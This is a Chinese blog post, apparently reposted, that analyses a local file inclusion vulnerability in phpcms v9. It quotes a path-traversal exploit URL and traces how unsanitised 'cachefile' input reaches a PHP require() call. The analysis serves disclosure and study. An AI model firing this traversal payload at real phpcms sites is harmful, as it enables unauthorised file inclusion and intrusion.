phpcms v9 本地文件包含漏洞超详细分析

  • A+
所属分类:lcx

漏洞作者: b4dboy 

博客:http://www.secoff.net/

漏洞分析:Seay

博客:http://www.cnseay.com/

转载请保留以上版权内容。

昨天愚人节,在微博开了个玩笑说博客即将关闭,然后陆续收到朋友们的电话、短信、QQ消息、私信等来询问,还有不少朋友开始备份我博客文章。。。蛋疼。对不住啊,亲们。

b4dboy基友放出dedecms跟phpcmsv9的本地包含漏洞。Dedecms的漏洞我也做了详细分析,但是由于某些原因暂时不能放出来,等过两天能发的时候就发出来,蛋疼啊,有写好的文章因为某些原因又不能发,真的很郁闷很郁闷,繁琐的流程,具体的原因你们猜的到就猜吧。

发一个phpcms v9的吧,相关描述在http://www.cnseay.com/2530/,感谢b4dboy基友的分享。

根据作者放出的exp:

http://www.php0day.com/api.php?op=get_menu&act=ajax_getlist&callback=alert&path=b4dboy&cachefile=../../../fuck

可以看出漏洞在get_menu.php文件的ajax_getlist()函数。我们跟进去看看。

function ajax_getlist() {

	$cachefile = $_GET['cachefile'];
	$path = $_GET['path'];
	$title = $_GET['title'];
	$key = $_GET['key'];
	$infos = getcache($cachefile,$path);
	$where_id = intval($_GET['parentid']);
	$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);

OK,看到了exp中的cachefile参数

$cachefile = $_GET['cachefile'];

继续跟进,看到

$infos = getcache($cachefile,$path);

调用了getcache()函数,

在phpcmslibsfunctionsglobal.func.php 文件505行

/**
 * 读取缓存,默认为文件缓存,不加载缓存配置。
 * @param string $name 缓存名称
 * @param $filepath 数据路径(模块名称) caches/cache_$filepath/
 * @param string $config 配置名称
 */
function getcache($name, $filepath='', $type='file', $config='') {
	pc_base::load_sys_class('cache_factory','',0);
	if($config) {
		$cacheconfig = pc_base::load_config('cache');
		$cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
	} else {
		$cache = cache_factory::get_instance()->get_cache($type);
	}
	return $cache->get($name, '', '', $filepath);
}

OK,很清楚的可以看到传进来的$name变量,即缓存名称最终进入了$cache->get($name, ”, ”, $filepath);。

在phpcmslibsclassescache_file.class.php 文件的get函数

public function get($name, $setting = '', $type = 'data', $module = ROUTE_M) {
		$this->get_setting($setting);
		if(empty($type)) $type = 'data';
		if(empty($module)) $module = ROUTE_M;
		$filepath = CACHE_PATH.'caches_'.$module.'/caches_'.$type.'/';
		$filename = $name.$this->_setting['suf'];//echo $filepath.$filename;exit();
		if (!file_exists($filepath.$filename)) {
			return false;
		} else {
		    if($this->_setting['type'] == 'array') {
		    	$data = @require($filepath.$filename);

我在上面加了个echo $filepath.$filename;exit();输出了路径,如图

phpcms v9 本地文件包含漏洞超详细分析

很清楚了吧。例如包含的根目录的1.cache.php

phpcms v9 本地文件包含漏洞超详细分析

如果你仔细看看同类的函数,会发现还有很多类似的。慢慢挖吧。

freebuf

文章来源于lcx.cc:phpcms v9 本地文件包含漏洞超详细分析

相关推荐: 奇人李铁马(三)

作者:囧白猫 再联系上的时候我已经在上海成功渡过最最难熬的第一年,同时神奇地跨行业进入互联网的世界。面试我的负责人因为周末无聊翻简历一时好奇把我叫去聊天,我的简历原本连HR那关都过不了,可就那么巧,负责人想去丽江很久了,一直忙,特别忙。他看我的简历上有丽江,他…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: